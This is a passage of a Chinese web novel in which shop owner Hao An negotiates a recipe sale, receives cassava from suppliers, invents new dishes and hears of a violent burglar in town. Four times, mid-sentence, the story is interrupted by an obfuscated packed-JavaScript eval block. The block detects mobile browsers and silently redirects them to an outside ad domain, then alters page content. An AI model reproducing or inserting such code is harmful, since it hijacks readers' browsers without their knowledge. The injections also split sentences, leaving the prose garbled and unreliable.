好安顿时警惕起来：“你以前见过吗？县里的人吗？你还记得长什么样？” 周娟认真想了好一会，摇头说道：“没见过，长得高高大大的，头大，脸也大。” “我下午去店里，他要是再出现你指给我看看。” 周娟点了点头说道：“他很好认的。” 下午，好安刚到店里没一会，王宁的小厮突然上门，说王宁要和她商量冰粉得事情。 关于冰粉，好安正好要和王宁好好说道说道。 最近几天，前一天早上说好只要两桶，结果第二天中午忽然来人说要再来三桶。好安常常饭吃一半，仍筷子进屋给他搓冰粉。要是不给他搓，他家小厮多，隔一阵便来一个，最后三四个小厮围着她转。 这个事太烦人了，她要和王宁提提，前一天定好的第二天就别改了。 另一边。 暑气早已消散，现在是万和县最舒服的时候。 王记酒楼每年重阳过后就会推出暖锅。虽然时间早了点，但这个时节食材丰富 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083190|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，蔬菜海鲜应有尽有。 天气转凉后，冰粉销量明显不如夏天。掌柜正准备月底把冰粉下架，却忽然发现这个半个月冰粉销量又莫名上去了。 这种反常现象引起掌柜的注意。他一连观察了三天，发现带动冰粉销量的正是暖锅，几乎每一桌吃暖锅的时候都要点上两三份，尤其是辣锅。 掌柜立刻把此事和王宁说了。王宁也觉得不可思议，都说冷热相克，他这怎么冷热相融了呢，于是他亲自尝试了一回。 暖锅的滚烫和冰粉的清凉形成鲜明对比。 热辣在口中激扬，炙烤着每一个味蕾，等忍到极限时来上一口冰粉，就如一场及时雨，落在干涸的土地上。 这是一种全新的味觉享受，是一种回味无穷的体验。 吃完后，他脑子里只有一个想法：他要把冰粉的方子也买下来！ 好安一踏进王记的后院，王宁便热情迎了上来。 “上次请好老板喝茶还是八月份。”王宁抬手倒了一杯茶，道：“我这刚到了一些上好的寒露寿眉，好老板快尝尝。” 好安接过茶水，眉头轻挑，“王老板最近冰粉卖得不错啊，早上来，中午也来。” “罪过罪过。”王宁听出了好安的话外音，说道：“最近老是打扰好老板吃饭，是我的错。那几个小厮我已经狠狠训斥过了的。”说着起身拱手赔罪。 好安心里默念翻了个白眼，小厮没有你授意，他们怎敢这样。 不等好安开口，王记继续说道：“今请好老板来也是为了这个事。我们一起想个办法解决这个问题。” “这有不是什么难事。王老板定一个数，每天早上拿走不就行了？”好安顿了顿，说道：“难不成王老板有其他想法？” 王宁嘴角含笑道：“这个我确实有个新想法。” “哦？”好安笑笑没多言。 “好老板要忙好记，又要忙冰粉，最近都瘦了呀。”王宁咳了几声，说道：“不如好老板把冰粉的方子卖我如何？” “我出高价。”王宁强调道。 “这个嘛。”好安转了转手里的茶杯，说道：“一个好的方子能子传孙，孙又传子，子子孙孙，无穷尽也……” “一百两！”王宁和好安打过好几次交道，对她还是有些了解。 虽然比一味凉低很多，但冰粉售价就摆在那，一百两这个价格算很有诚意。 “一百两是不少了。”好安眼珠一转，说道：“但一个方子是一代一代的积累，是祖祖辈辈们智慧的结晶。它的价值远远不是钱能衡量的。” 好安的潜台词就是钱你要给，但还要掏些别的。 王宁皱眉想了想，忽然说道：“周大那件事我听说了，你想不想知道是谁指使的？” “已经知道的事情不想知道。”好安一副兴趣缺缺的模样。 “你知道了？”王宁惊讶道。 “福缘斋不是吗？” “算是，但又不是。”王宁笑笑。 “街香居呗。”好安抬眼看向王宁，不放过他脸上的一丝一毫。 王宁眼神微微凝滞，随即露出一个无奈的笑容，“好老板料事如神，在下实在不知道好老板缺什么或者有什么地方我能帮上忙。不如打开天窗说亮话。” 好安此刻便知道，她猜对了，嘴角的笑容一闪而过。 “王老板能帮忙得地方可太多了。”好安看着他，不疾不徐道：“听闻王老板的祖母下月二十二过六十大寿，不知这个点心铺子有没有选好。” 40. 树番薯 “这事吧……”王宁面露难色。 平日里一些同龄人组织宴席，喜欢从外面找人，尝尝鲜。 但这种全族的大事，为求稳妥，都是用自家的厨子。 “只能先试试，我不敢保证。” “行。”好安点头。 不论结果如何，二人先定了个时间。 王宁送好安回去，亲眼看着她上了轿子，便赶紧回屋拿笔给他哥写了一封信。 与其去花心思搞定老太太，不如去搞定他哥。他哥可是老太太的心尖宠。 回去的路上，好安看见衙役拎着一桶浆糊在张帖告示。不过片刻，告示前便围了好多人。 “停下，就送到这吧，剩下的我自己走。”好安也支着脑袋去凑热闹。 “近日，本县有采花大盗出没，常于夜间作奸犯科……请本县百姓关紧门窗，若发现可疑之人，速报官府……” “哎呦，谁家有姑娘的可要小心了。” “这都好几个了。”一个婶子叹气道。 “岂止是关紧门窗，走夜路都要小心喽。” 好安闻言想到最近天黑的越来越早，自己店里的几个姑娘怕是要走夜路回家。 得赶紧回去和她们说一声，提个醒。 好安逆着人群便外挤，忽然好像听见有人在喊她。 她抬头看了看，耳边都是吵闹的交谈声和一个挨一个的肩膀。没发现熟人，应该是她听错了。 等好安好不容易挤出人群，肩膀忽然被人拍了拍。 好安顺势看去，“刘树林！” “嘿，我刚刚喊你，你好像没听见。”刘树林赶了几十天的路，一身风尘仆仆的模样。 “刚刚周围都是人，没听清。快去我家坐坐。”好安声音里满是兴奋。 刘树林来了意味着她又有新的食材了。 “走，快去我家。” “我弟还在城门口看货。我去喊他。”刘树林这次依旧是兄弟俩来。 “下次不用再城门口等，直接拉去我家，地址就是上次写信给……”话说一半，好安忽然打住，问道：“你是不是没收到我写的信？” 刘树林挠了挠头，憨憨地笑道：“我们这次出发的早，可能你信到了我们已经走了。” “哇，那你找到我这不容易。” 这里离好记就一条街的距离。 “我先去了趟好家村，你邻居告诉我你搬到了这。我就摸着过来了。” 好安和刘树林一起来到城门口，刘树林弟弟刘树枝正抱着一块大馍馍蹲在地上啃。 “哥。”刘树枝猛地站起来，个头一下比刘树林还高。 “你弟吃什么长得，上次来还和你差不多，这次都高了小半个头。”好安惊叹道。 “他什么都吃。整天到处乱窜跟泥猴子一样。”刘树林嘴角挂笑，语气中带着宠溺。 “哥，我没到处乱窜，我有帮你挖树番薯的！”刘树枝这一声哥明显没有前一次底气十足。 说话间，三人来到好记后院。 这兄弟俩还像之前一样，一来就卸货。 刘树林从车上搬下十个包裹严实的罐子，“这里是四眼果。” “这个好沉，不止十斤吧。”好安差点没接住。 “不止十斤，里面还有草木灰。” 刘树林说完，见好安要扣掉罐子上的泥土，连忙阻拦道：“这个不能扣。四眼果容易烂，这样放才放得久。” “好吧。”好安收回手，搓了搓手指。 “这是树番薯。”刘树林一边搬一边说道。 树番薯是他们以前饥荒的时候才会吃的，这东西不挑地方，山地荒地哪里都能长，一长长一窝，但吃死过人，所以不缺粮的时候没什么人吃。 “这个要削皮泡水，泡个三五天，每天都要换水。泡好了煮半个时辰，煮熟了最好再泡泡水。”刘树林强调道：“反正就是多泡，多煮，不然有毒的。” 他不知道好安为啥想买这个，但她点名要了，他就运了过来。 “这个我知道，煮的时候要开锅煮是不是？” “对。”刘树林微微惊讶。他说的这些都是他们祖祖辈辈积累下的经验，好安怎么会知道。 “我以前做过。”好安递给刘树林一个你放心的眼神。 “那就行。”刘树林笑了笑，万一好安因为这个出问题，他就成了大罪人。 “这个是我娘送给你的。”刘树林拎下最后一筐果子。 “蜜橘！现在蜜橘熟了？”好安吃惊道。 “熟了，我们那橘子种类多，能从八月份吃到过年。”刘树林在框子里翻了翻，拿出一个单独的罐子，“这个是好东西。我家种的白莲，特别适合煲汤熬粥。” 好安一眼便认出这是上好的莲子，个头饱满，每一个和她指节差不多大。除了莲心有一个用来去芯的孔洞，其他地方毫无破损。 这种品质的莲子，拿出去能卖不少价钱。 刘树林是山民，但莲子喜光，想要收获这么多必定付出了不少精力。 “这莲子真好。”好安大大方方的收下。 “再过几天，我们这螃蟹就是最肥的时候了。你们要不留下来玩几天？”好安一边把钱递给刘树林，一边说道。 往年这个时候螃蟹已经肥了，但今年天热，要在等几天。 “不了。”刘树林双手接过钱袋，叠放在身前，“快霜降了，家里还有冬茶要摘，我们得赶回去帮忙。” 刚说完，刘树林的肚子发出咕噜声。 刘树林一愣，脸上露出尴尬的神色。 “你们是不是忙着赶路没来得及吃饭。”好安连忙起身要去厨房给他弄点吃的。 也是不巧，厨房里连面条都没。好安赶紧去前面拿了几个点心，顺道把采花贼的事情和周娟她们说了。 “我出去买点菜。你们先吃点点心垫垫肚子。” “不用。” “跑一趟也辛苦，怎么能让你饿着肚子呢。” 不等刘树林阻拦，好安便出门了。 ———— 前头包装点心的油纸不够了，但结账的队伍排了三四个，谢宗林脱不开身，便麻烦周娟帮忙去后院拿一些。 刘树枝卸完货便跑出去玩了，此刻只有刘树林一人呆在后院。 周娟刚进后院，便看到今早在门口探头探脑的男人正坐在院子里朝嘴里塞点心。 是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15086079|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贼！ 周娟立刻想到好安刚刚和她说采花贼的事情，于是她二话不说，抄起家伙就冲刘树林招呼过去。 “我……”刘树林话都没说完整，眼前的碟子一下被打的粉碎。他连忙跳起来，躲着周娟的棍子。 “你好大的胆子啊，天还没黑就敢作案，看我不帮绑了送去衙门。” 说着，周娟举起木棍，迎面劈去。 “我不是贼人。”刘树林手里握着点心解释道。 “怎么不是？你手里握着的不就是证据吗？上午在前面看半天，发现没法下手，就跑到后院来偷！采花贼还采上点心了！” 说话间，周娟忽然瞄到刘树林腰间挂着的钱袋。这不是她们东家的钱袋子吗？这采花贼还偷钱！ 周娟火气噌一下，又上一层，手里的棍子挥出风声。 “你个贼人，我让你到处霍霍人。” “我没有，我不是贼人，没霍霍人。”刘树林手里握着点心舍不得扔掉，这可是粮食呀。 手空不出来，便没发去接对方的棍子。刘树林只能抱头乱串。 “吱呀”，院门被推开了。 好安一进门便看见这一幕。 “东家，快抓住他。就是这人早上在店门口探头探脑。下午就偷到后院来了，偷人，偷钱，还偷点心！” “我没有。”刘树林迅速躲到好安身后，说道：“我早上是想来找你的，但我这身衣服太脏，没好意思进去。” “停，都打住。”好安先接过王记酒楼小二手里的饭盒，然后把院门关上。 “都是误会。”扶起翻了的凳子，好安把饭盒放好，“这是我们的合作商，第一次来这。这是好记的伙计，性格比较爽利。” 好安连忙将二人之间的误会道明。 周娟意识到是自己认错了人，搞出个大乌龙，连忙起身道歉。 “没事，说清楚就行。”刘树林憨憨一笑。 周娟的心放回去一点，可一坐下便看到满院狼藉都是自己搞的又忍不住紧张起来。 东家平时对钱有多看中她是知道的。她最信任的谢宗林砸了一个碗都要扣钱，更别说她们这种小喽啰。这一院子收拾起来至少也要五六十文，抵得上她两天的工钱呢。 “你先去前面忙吧。”好安送周娟回去，周娟又回头看了看院子，支支吾吾道：“东家，这……” “没事。”好安露出一个安抚的笑容，忽然抬手给她竖了个大拇指，说道：“勇气可嘉，但下次真要遇到了坏人，不要自己一个人上前。要么拖延时间，找机会逃跑，要么多喊几个人。” “知道了。”不知为何，周娟的心一下放了回去，欢欢喜喜的继续去工作了。 “真不好意思。”好安又道一次歉，“周娟也不是故意的，主要之前家里闹过贼，所以大伙对生脸比较警惕。” 她端出四只大闸蟹和一些饭菜，虽然黄和膏还差些意思，但依旧是上品。 “真没事，是我没说清楚。”刘树林也不好意思的挠了挠耳朵。 吃完饭，刘树林去找他弟，二人要赶着回家帮忙，好安也不好多留，约好下次要采买的东西，便给他们准备了一些耐放的点心干粮送他离开了。 41. 乌冬面 把树番薯削皮，碾成浆后滤去残渣，静置一夜，剩下一层洁白如霜的沉淀物便是树番薯粉。好安更习惯见它木薯粉。 沉淀后的木薯粉没有充分糊化，黏糊糊地贴在桶底，需要晒干或者烘干才能长久存放。 步骤不难，但架不住树番薯数量多。好安忙了五六天才全部收拾完。 有了木薯粉，能做的吃的可太多了，好安立刻改良了珍珠。 之前做的珍珠色泽混浊，容易散开，吃起来太过软糯没有嚼劲。换了木薯粉，珍珠顿时有一种黑得剔透的感觉。 还有西米、芋圆通通呈上来！ ———— “姐姐，这个真的能吃吗？”好昕看着姐姐朝面粉里兑入木薯粉和盐水，不禁有些怕怕。 这个不是有毒吗？怎么能吃呢。 黄豆和米粒也坐在好昕身边，一边摇着尾巴，一边哼唧，像是在附和：就是，就是。 “当然能！” 木薯可是和甘薯、马铃薯并称世界三大薯，同时也是世界六大粮食之一。 “那……”好昕纠结了一会，最终选择相信，问道：“这个是什么？好吃吗？” “乌冬面。”好安说道：“是一种面条，但和以前吃的面条很不一样哦。” 好昕看姐姐的手法和往常做面条的手法并无区别，不由有些好奇。 都是粉，能有什么不一样？ 好安水加得少，里面又加了木薯粉，面团变得十分难揉，好安揉了一会便觉得手疼，等差不多揉成形了便放在一边先醒了一刻钟。 醒完后还要接着揉。 传统的乌冬面这一步都是用脚踩，好安接受不了便让谢宗林来揉。 在好安手里坚硬不屈的面团到谢宗林手里认他揉圆捏扁。 力气大就是好。 揉两次，醒两次，面团变得光滑，就能开始擀面。 擀面也是个费劲的活。力用不狗，面团还会往回缩了缩。 乌冬面的面皮不能擀太薄，擀到和米粒宽度差不多的时候撒上一些干粉，卷起来切成细条。细条可以搓成圆的，也可以不搓。 好安是不想搓了，撒了撒干粉便把乌冬面下锅了。 乌冬面煮熟，过凉水 汤底不用太复杂。鸡蛋油煎，放入香葱、香菇，加水煮上片刻就会翻滚出白色的水泡。 这个时候，倒入汤底，便可以出锅了。 好安盛了三碗，撒上一些胡椒粉提高口感。 这一丢丢胡椒粉可是这个碗里最贵的东西。胡椒是舶来物，产地少，运输难，作用也多。它不仅能调味、做香料，还能入药，价格堪比黄金。 好昕嗅着空气中陌生的香气，忍不住尝了一口。 “小心烫。”好安提醒道。 “嘶——” 好昕叼着一根乌冬面，烫得直哈气也不愿意松口。 “是不是以前吃的不一样。”好安问道。 好昕把放凉乌冬面吸入嘴里，点头道：“这个好吃！面条还弹牙，好香。” 好昕喜欢吃这种有韧性的东西，吃完一碗又盛了一碗。 好安笑着把头凑过去，轻轻撞了一下好昕的脑袋，说道：“下次做葱油的，保证把你香迷糊！” 谢宗林见他们二人笑得开心，嘴角也忍不住翘了翘。 第二天好安便把奶茶的小料大换新。此外还推出了新品——咸奶茶。 前几日出了甜甜圈和桂花拉糕，这两个都是出了名的甜，刚好来个咸奶茶中和一下。 推出咸奶茶当然不止为了这个。 从第一次推出饮子算起，目前好记已经推了十三种不同口味的饮子，其中四个过季节下架了，还剩下九种。 奶茶作为好记卖得最好的饮子，一直受到万和县百姓的支持，这不得回馈回馈新老客户嘛。 于是，好安搞了个集卡活动。 买一杯饮子，可随即抽取一张饮子小卡，集齐九张不同的饮子小卡可以免费兑换一杯吨吨桶。 当然这个吨吨桶只兑不卖。 搞活动当然要发传单，发传单自然要找好明辉。好明辉便带着他的两个兄弟连夜赶工。 赵瑾轩和何守文善画，好明辉字写的好，三人分工，宣传单的质量和速度比以往提高了一大截。 “这回画得真不错。”好安一个门外汉都看出了进步。 “我朋友比我擅长画画。”好明辉轻轻点头道。 好安收下宣传单，说道：“你们坐，我去给你们拿好吃的。” 好安比好明辉小几个月，但好安的芯子比好明辉大了不少。对待他们的时候不免有些像招待小孩子。 “谢谢好姐！”赵瑾轩和何守文谢道。 “她比你们小。”好明辉连忙说道。 “那又如何，给我好吃的就是姐。”赵瑾轩说道。 何守文想了想，道：“可能不大好，我姐被比她大的人喊姐会不开心。” “这样吗？”赵瑾轩这一辈家里几乎没有女孩子，这方面明显不如何守文。 “明辉，你平时怎么称呼？”问题甩给好明辉。 “额——” 他从小到大都直接喊安安，要是论关系的话好安可以算她侄女。 “你们还是喊姐吧。”好明辉说道。 “行，反正刚刚你姐也没不高兴。”赵瑾轩若有所思道。 好明辉点点头，没说话。 “对了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093232|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，那个吨吨桶是什么？听着就好好喝。你俩待会谁问一下。”何守文问道。 “他。”赵瑾轩捣了一下好明辉。 “我觉得你也行。” “我不行。” 三人说笑间，好安端着两盘点心走过来。 “说什么呢？这么开心。”好安好奇道。 赵瑾轩赶紧偷偷戳了戳好明辉。 “就，就是我们在讨论吨吨桶是什么。” “吨吨桶呀，没固定的东西什么都行。”好安指着宣传单上的各种水果，说道：“你可以做柚子味的、葡萄味的，甚至要一份奶茶也行。” “什么都能加吗？”赵瑾轩忍不住问道。 “算是。我们会向客人提供几种水果，引导他自己搭配，然后我们做好给他。” 赵瑾轩听着眼睛都亮了。 好安看着忍不住笑了，这个眼神和好昕看到好吃的一模一样。 “我去给你们一人做一份就知道了。”好安把单子递给他们仨，让他们分别选了一种水果并确认好要冰的、常温的还是热的。 好明辉选了葡萄，赵瑾轩选了猕猴桃，何守文选了柚子。 没一会，好安便拎着三个小桶来了，依次把桶分给三人。 “这个是猕猴桃奶昔，奶昔是沙冰，不要一个人吃完，不然会拉肚子。这个是去冰的葡萄奶绿，去冰也还是凉，分着喝最好。这个是柚子酒酿牛奶，有酒。” 三人赶紧起身道谢，双手接过，惊叹道：“这么大！” “当然，都叫桶了，不能小。” 赵瑾轩抠着桶的提手，眼睛时不时的往里面瞄。 “好啦。你们在这吃，我就不打扰了。”好安看穿他们迫不及待的心情，留下工钱便起身离开。 等好安身影消失在楼里口，好明辉三人急不可耐的打开盖子。 “我这个里面是加了牛奶吗？”赵瑾轩赶紧嘬个一口，“好像不是牛奶，又好像是牛奶。” “给我尝尝我就知道。”好明辉毫不客气的从赵瑾轩桶里舀了一大勺。 除了三个桶，好安还带来三个碗和勺子。 何守文也跟着舀了一勺。 好安给的勺子很深，两勺下去，桶里少了一半。 好明辉：“嗯，不是牛奶。” 何守文：“嗯，不是牛奶。” “我知道！”赵瑾轩连忙把桶移开，像护崽子一样抱在怀里，“你们的也赶紧给我尝一口。” 三人配着点心将吨吨桶喝了大半。 “我记得图片上还有柿子、橘子” “不止。还有频婆果和枣子。” “嗝，这么多吗？我不管！我要去集卡！我要通通吃一遍！” 42. 茶叶蛋 秋雨来的悄然，走的也无声。等天亮时，空气已经焕然一新，也添了不少凉意。 好安拿出两套谢宗林新做的棉衣带去云台寺。 云台寺的素夹馍卖得不错，很多香客喜欢吃完面后买一份带走。 “这是十天的收入。”余二壮拿出一包铜板和一个本子。 本子是好安送的，让他记账方便日后对账。余二壮不识字，但他琢磨出一套只有自己看得懂的记账方法。 “第一天做了一百二十六个……”余二壮看了眼本子上的竖线和乌龟，一眼便能报出数。 “这边的三百六十文是最近十天的赏钱。” 好安换算成自己的记账方式誊写在本子上。 不算赏钱，十天总收入六两多，看着不少可刨去成本才赚了三百七十八文。 “一天平均卖五六十一份？”简单的求和除天数好安口算便算出来了。但落在余二壮眼里就是东家真不简单。 余二壮掰了掰指头确认的点点头。 “以后你每天就做五十份，不够卖也不要多做。”好安说道。 赚不到什么什么钱就没必要每天这么忙，还不如吊着，吊着才会念着。 “好的。”余二壮不问原因，只管听从吩咐。 好安说道：“没事了就去忙你吧。” “好的。”余二壮嘴上答应，却没立刻离开，反而嘴巴张张合合，欲言又止。 “说吧，还有什么事。” “九月底云台寺有义诊。”余二壮双手攥着衣角，眼神中透露出几分紧张。 “这个啊。”好安看了眼一旁的余三妞道：“我是个赏罚分明的人，这几天你们干了多少活我都看在眼里。” 好安话音未落，余二壮嘴巴抿成一条线。 素夹馍卖的钱东家好像并不满意，云台寺的活又不多，东家会不会认为他偷懒了…… 余二壮不禁胡思乱想。 忽然就听好安道：“干的还不错，那天我会安排人来替你一天。” “谢东家。”余二壮又要拉着余三妞磕头被好安拦住，：“快去干活。” 煮了多次的卤汁变得醇厚透亮，好安检查了一次发现没什么问题便离开了斋堂转去正殿。 正殿两侧放着功德箱，好安上过香后把素夹馍赚的三百多文都捐了。 出了寺庙，天又开始下雨。 好安是自己驾着马车来的，还没到好记的时候身上湿了大半。 “唉，你听说了吗？估枝巷的老花被采花贼害死了。” 之前帖告示的地方又围了几个人。 “什么时候的事？” “采花贼什么时候杀人了？” “老花是男的呀，都五六十了吧。” “那采花贼原本进的是老花闺女房间，她闺女没睡死就呼救，老花为救他闺女被采花贼给打死了。” “可惜了。那这几天怎么没听见吹丧的？” “去衙门提供完线索就拉回老家了。” …… 他们口中的老花好安也认识，在城门口卖烙饼。好安以前摆摊的时候经常去他摊子上买烙饼当午饭。他烙的饼又大又厚实，一块能扛一天。 经常买饼的人都知道他有个闺女年纪不大，十一二岁。老来得女，老花欢喜的不行。 忽然有个认识的人死了，好安心里沉沉的。 牛车晃晃悠悠的到家，好安系好车后回屋拿了几个银锭子直奔铁匠铺。 “宋师傅我打五把匕首。” “要哪种的？” “要快的，一刀能把人捅了窟窿的那种。” “哈哈。能不能把人捅个窟窿得看你力气。” “反正就要最好的，防身用，急用。” “那就这种。”宋师傅说道：“锋利还轻便。刚好有五把，开个锋就行。” “行，多少钱？”好安问道。 “五把二十五两。” 好安打开荷包，她从家里拿了二十两，荷包里原本有二两，还差三两。 “我还差一点，我现在就回去取。”说完好安要往家里冲。 “外面下雨呢，你下次带给我就行。”宋师傅连忙喊道。 “谢宋师傅。这个最快能多久？” “明天。” “好，谢宋师傅。” 好安迎着雨往家里跑，忽然拐角处行来一辆马车，好安为了避让，一脚踩进一个大水洼，撩起一顿巨大的水花。 “谁家小娘子下雨天不打伞的在雨里跑，也不知道找个地方等雨停。衣服都湿了，成何体统。”车里的一位年长的妇人，皱眉道。 秋风忽起，卷起车帘。车里的男子顺势看去，只见萧瑟阴沉的街道上，一个模糊的背影在逆风奔跑，每一脚踩下去就是一个水花。雨密而急，看不清具体的人，只能看见一根桔红的发带在雨里一飘一晃。 她好像在专找水洼踩。男子看了一会忽然笑了，直到背影拐弯不见，他脸上的笑意也没消失。 “你笑什么？”年长的妇人问道。 “没什么，就是突然觉得万和县变化好大。” “你上次回来都多少年了，这条街的铺子都换了几遭。不仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099854|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这铺子，有的人都换了。” “程家那老三发妻刚死一年，就偷偷纳了个小门小户的，进门还没八个月就生了个龙凤胎，一边捂着不敢说，一边又花大价钱把云台寺翻新了便。” “还有外祖家的二表哥今年中了进士，已经和濮阳的张家定了亲……”年长的妇人絮叨了半天，忽然踢了踢对面的男子：“你也不小了，今年也该把婚事定下来了。” “我，”男子刚想说不急，脑子里却浮现刚刚充满活力的背影，改口道：“看缘分。” 好安一蹦一跳的回到家。今天路上没有人，过了把踩水的瘾。 “姜茶。”谢宗林不知从哪里冒出来。 “你没在铺子里？”好安双手接过，疑惑道。 谢宗林看了一眼好安，又迅速收回目光：“下雨，没什么人。” “哦。”好安顶着一头乱发，吹了吹姜茶，“嘶——好辣。” “你湿透了，要不洗个澡吧。”谢宗林眼神飘忽，但就是不敢往好安这边看。 “也洗个头。” 院子里没有其他人，好安三下五除二把头发散开。紧绷的头发突然散开，头皮也像是从束缚中解脱，每一根发丝朝哪晃动都能清楚感受到。披头散发爽爆了。 “我去烧水。”谢宗林“唰”一下站起来，头也不敢回的朝厨房走去。 下雨天头发不容易干，好安便去灶膛烘头发，谢宗林则再灶台前做饭。 “九月底余二壮要带余三妞看病，你去帮他忙一天。” “行。”谢宗林拿着汤勺在锅里无意识打圈。 “饭是开了吗？”好安听见搅声，探头问道：“火要调小吗？” “马上开。”谢宗林一下回神，道：“我去和面摊鸡蛋饼。” “今晚不想吃鸡蛋饼了。”好安指了指灶台上的黑罐子，说道：“吃肉夹馍。” 之前肉夹馍吃够够，以为短时间内不会再想，便没留老卤。今去了一趟云台寺，忽然又想念起来。 “行，我去揉面。” 谢宗林他们吃卤猪肉，好安吃卤鸡肉。 没谯的猪她吃不惯。 唉，田桂家的猪什么时候才能出栏呢？ “卤了几个鸡蛋。”谢宗林捞出两个放在一边，又拿个两个切碎，塞进肉夹馍里。 “这两个你们吃吧，我想吃茶叶蛋。” “茶叶蛋？”谢宗林面露疑惑。 “红茶、香叶、八角、茴香、桂皮、冰糖、盐、酱油煮带壳熟鸡蛋。” 谢宗林默默记下这些香料，笑道：“我明天煮。” 43. 游说 雨停了，王宁收拾好衣服出门，刚踏出自己的院子没几步便看见姑姑带着几个小厮从不远处走来。 “快，绕路。”王宁果断转身，准备先找个隐蔽的地方躲躲。 “站住。”年长的妇人给身边的小厮递了个眼神，小厮们便立刻跑上前去把王宁的去路堵死。 年长的妇人身批罗裙，头发金钗缓步走来。 “见我跑什么？” “我没有。”王宁立刻否认道。 “没有？”年长的妇人眉头一挑，像是在说你当我瞎吗？ “我那是，肚子疼！” “那快去吧。你，还有你跟着。”年长的妇人随手指了两个小厮说道。 “姑姑！”王宁踏脚道。 “快去。” “哦。” 王宁扫了眼那几个身强力壮的小厮。他们肩膀贴着肩膀，一点缝都没有。 看来是跑不掉了。王宁和他的贴身小厮东明又重回院子。 “怎么不去了？”年轻妇人也跟着进来，熟门熟路的找了个地坐下。 “去，现在去。”王宁碎步踱开，东明也紧紧跟着。 “你去干什么？”年长的妇人对东明说道：“怎么，你家少爷如厕要人扶？” “我给少爷拿草纸。”东明机灵道。 都进了院子，被指派的两个小厮依旧紧紧跟着。王宁只得捏着鼻子进了茅厕。 “你快去想办法引开他俩。”王宁趴在厕门上道。 那两个小厮一个守在茅厕前面，一个守在茅房后面，一看就很有经验的样子。 东明连连摇头道：“他们盯的不是我。” “那你快想办法！我今天约了朋友喝酒，再不去就迟到了。” “我有两个注意，少爷你听不？”东明贴着厕门，压低声音道。 “快说。” “一，少爷你直接撒腿跑。” “根本跑不过。”王宁遗憾道：“前面那位勇士的大腿看见没，他一步抵我三步。” “那就第二个，少爷你直接和姑奶奶说你今天的已经学习完了，你要出去。” “我今天学了啥？” “我看一下。”说着，东明立刻拿出一本小册子，翻了两页说道：“《礼记·文王世子》” “我不是在学《尚书》吗？怎么突然《礼记》了？”王宁一脸懵。 “《尚书》已经是上个月的事情了。”东明收回册子说道：“那咱还是试试第一个吧。” “不行，会跑出人命的。” “那第二个。” “更不行。” 王宁扫了眼前方的壮汉，忍不住叹气道：“我又不考秀才，成天逼我学这个干嘛？” “为了不给王家丢脸吧，毕竟王家没人会背晚来天欲雪，不如早还家。” “笑什么笑。”王宁从门缝里踢了东明一脚，气愤说道：“我这个才最合理！” “咳——。” 忽有一声低低的咳嗽从正前方传来。 是姑姑身边的得力小厮，王宁看清来人后连忙把头缩进门口。 “夫人让我来问问要不要给少爷找个大夫瞧瞧。” “不用，马上。”王宁尴尬道。 有人来催，王宁不得不从茅厕里出来。 “怎么办？姑姑万一让我背书怎么办？”王宁拼了命的朝东明使眼色。 “我觉得姑奶奶今天心情不错，少爷你服个软应该能糊弄过去。” “你怎么看出来的？”王宁迷茫的眼神中带着一丝惊讶。 “平日来茅厕催少爷都是问少爷是不是掉进去了，今天是关心少爷有没有病。” 王宁轻轻啧了一声，好像是这么回事。 王宁一会到庭院中便变得谄媚起来。 “姑姑~侄儿这有新到的茶叶，要不要……”话未说完，便被打断。 “快去把这身花里胡哨的衣服换了，都快腌入味了。”年长的妇人嫌弃地挥了挥手。 “得嘞。”王宁见她一上来没有问他课业便知道今天应无大碍。 “换件清爽的，跟我去见你爹。” 这句话如平地惊雷，炸得王宁一哆嗦。 这是他没认真上课被发现了，懒得管了，直接打包给他爹了？ 见他爹必须把这一身换掉，而且要穿得越朴素越好。 一身曒玉色长衫，腰系绯红色素带，再配上薄薄的身板，平日里花蝴蝶一般的人，也硬生生凹出一副文人清骨的模样。 王宁老实的跟在姑姑身后，神情严肃。 走着走着，他发现不对。这不是去他爹书房的路啊，这好像是去他祖父祖母院子的路。 “姑~我们去哪呀。”王宁问道。 “到了就知道啦。” 